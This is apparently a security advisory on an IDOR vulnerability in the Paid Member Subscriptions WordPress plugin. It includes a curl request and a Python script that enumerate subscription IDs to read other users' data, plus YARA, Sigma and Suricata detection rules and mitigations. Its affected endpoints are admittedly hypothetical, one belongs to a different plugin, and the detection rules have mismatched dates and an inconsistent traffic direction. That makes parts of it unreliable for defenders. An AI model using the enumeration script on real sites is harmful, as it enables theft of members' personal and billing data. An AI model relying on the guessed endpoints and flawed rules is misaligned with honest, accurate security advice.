CVE-2026-59539

Executive Summary

CVE-2026-59539 describes an Insecure Direct Object Reference (IDOR) vulnerability in the Paid Member Subscriptions WordPress plugin (versions <= 3.0.7). This flaw allows a subscriber-level user to access or modify objects (e.g., membership details, subscription records, or user data) that belong to other subscribers without proper authorization. The vulnerability arises because the application exposes internal object references (such as user IDs or subscription IDs) directly in requests (e.g., via the URL or POST data) and fails to verify whether the authenticated user owns or is permitted to access the targeted object.

As a WordPress-specific issue, this vulnerability does not stem from the web server (Apache/Nginx) but from the plugin’s incomplete access control logic. Given the CVSS score of 7.5 (High), the impact is significant: a low-privileged attacker can escalate privileges to view or modify sensitive data, potentially leading to account takeover, data leakage, or unauthorized access to premium content.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (subscriber)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality Impact (C): High
• Integrity Impact (I): High (if modification possible)
• Availability Impact (A): None (typical for IDOR)

Threat Level: High – exploitable with minimal skill via simple HTTP request manipulation.

Deep Dive & Mechanics

The Paid Member Subscriptions plugin uses numeric or predictable object identifiers (e.g., user_id, subscription_id, order_id) in HTTP parameters. When a subscriber performs an action (e.g., viewing their own subscription details), the parameter is not validated against the current session. An attacker can:

1. Intercept a legitimate request (e.g., ?action=view_subscription&sub_id=123).
2. Modify the sub_id to an arbitrary value (e.g., 456).
3. If the plugin fails to check ownership, the response will contain another subscriber's data.

Affected Endpoints (hypothetical examples based on plugin structure):

• wp-admin/admin-ajax.php?action=pmpro_get_member&user_id=INT
• /membership-details/?subscription_id=INT
• /profile/?edit_user=INT

The root cause lies in the lack of a current_user_can() check or a get_current_user_id() comparison in the callback functions that process these identifiers.

Vulnerable vs. Patched Code

Since no official patch is available (vendor status: None), we can only describe the expected fix.

Vulnerable (Pseudocode):

function process_subscription_view() {
    $sub_id = $_GET['sub_id'];               // No sanitization or ownership check
    $subscription = get_subscription($sub_id); // Retrieves any subscription
    echo $subscription->to_json();            // Exposes sensitive data
}

Patched (Pseudocode):

function process_subscription_view() {
    $sub_id = intval($_GET['sub_id']);
    $user_id = get_current_user_id();
    $subscription = get_subscription($sub_id);
    if ( $subscription->get_user_id() !== $user_id ) {
        wp_die('Unauthorized', 403);
    }
    echo $subscription->to_json();
}

The patch adds an ownership check that compares the subscription’s associated user ID with the authenticated user’s ID.

Exploitation & Lab Setup

Red Team

Scenario: Low‑privileged subscriber (e.g., user “attacker”) wants to view another subscriber’s private data.

1. Reconnaissance: Identify exploitable parameters by observing requests when performing actions like viewing own subscription.
2. Craft Request: Using any HTTP client (e.g., Burp Suite, cURL, browser dev tools):

   curl -v -c cookies.txt -b cookies.txt \
     "http://target-site.com/wp-admin/admin-ajax.php?action=view_sub&sub_id=1" \
     --user "attacker:password"
   

   If sub_id=1 returns the first subscriber’s data, the plugin is vulnerable.
3. Automate Enumeration: Iterate through IDs (sub_id=2,3,4...) to collect all subscriptions.

Proof-of-Concept (Python):

import requests

session = requests.Session()
session.auth = ('subscriber', 'password')
target = "http://target-site.com/wp-admin/admin-ajax.php"

for sub_id in range(1, 100):
    params = {'action': 'view_sub', 'sub_id': sub_id}
    r = session.get(target, params=params)
    if "unauthorized" not in r.text.lower() and r.status_code == 200:
        print(f"Accessed subscription {sub_id}: {r.text}")

Blue Team

• Detection: Monitor HTTP logs for sequential or rapid ID enumeration in parameters (e.g., sub_id=1,2,3).
• Testing: Assess own WordPress instance using static analysis tools (e.g., WPScan with plugin version detection) or manually attempt IDOR on test accounts.
• Honeypot: Deploy a fake subscriber account with high‑value subscriptions; any access by another user triggers an alert.

Indicators of Compromise (IOCs)

• HTTP Requests: Repeated GET/POST requests to endpoints like admin-ajax.php or custom plugin pages with incremental integer parameters.
• Log Patterns: Multiple 200 responses from a single user for different sub_id values.
• Suspicious IPs: IP addresses that enumerate object IDs without corresponding legitimate action.
• Response Data: Responses containing sensitive fields like user_email, subscription_status, billing_info from objects the requester does not own.

Detection Engineering

YARA Rule (for scanning plugin source code)

rule CVE_2026_59539_IDOR_PaidMemberSubscriptions {
    meta:
        description = "Detects insecure direct object reference pattern in Paid Member Subscriptions plugin"
        author = "Valters IT"
        date = "2025-03-31"
        plugin_version = "<= 3.0.7"
    strings:
        $idor_param = /[\?&](sub_id|user_id|subscription_id|order_id)=/ nocase
        $function_call = /get_subscription|get_user|get_member/ nocase
        $no_ownership_check = /if\s*\(\s*\$this->user_id\s*!==|get_current_user_id\(\)/ nocase
    condition:
        $idor_param and $function_call and not $no_ownership_check
}

Sigma Rule (Windows Event Log / Sysmon)

title: IDOR Enumeration in Paid Member Subscriptions
id: 5b2a1c3d-0e1f-4a6b-8c9d-ef0123456789
status: experimental
description: Detects sequential enumeration of object IDs in WordPress plugin admin-ajax.php
author: Valters IT
date: 2025-03-31
tags:
    - attack.t1190
    - cve.2026.59539
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        Msg: "*admin-ajax.php*action=view_sub&sub_id=*"
    condition: selection and count(Msg) by src_ip > 20 within 5m
falsepositives:
    - Legitimate subscriber performing bulk actions
level: high

Suricata IDS Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-59539 Paid Member Subscriptions IDOR Enumeration";
    flow:to_client,established;
    content:"admin-ajax.php"; http_uri;
    content:"action=view_sub"; http_uri;
    content:"sub_id="; http_uri;
    pcre:"/sub_id=\\d{1,3}/i";
    threshold: type both, track by_src, count 10, seconds 300;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Since an official patch is not yet available, apply the following mitigations immediately:

1. Disable the Plugin: If subscription functionality is non‑critical, deactivate and uninstall Paid Member Subscriptions until a patch is released.
2. Web Application Firewall (WAF): Create custom rules to block requests with multiple sequential or non‑owned parameter IDs.
3. Manual Code Fix: Implement ownership checks in the plugin’s PHP files (refer to the “Vulnerable vs. Patched Code” section). For all functions that read or write objects using an ID parameter, compare the object’s user ID with get_current_user_id().
4. Hardening: Restrict subscriber roles from accessing sensitive endpoints by modifying the plugin’s AJAX handlers.
5. Monitor: Continuously review server logs for suspicious enumeration patterns.

Valters IT – Securing WordPress ecosystems through proactive threat intelligence.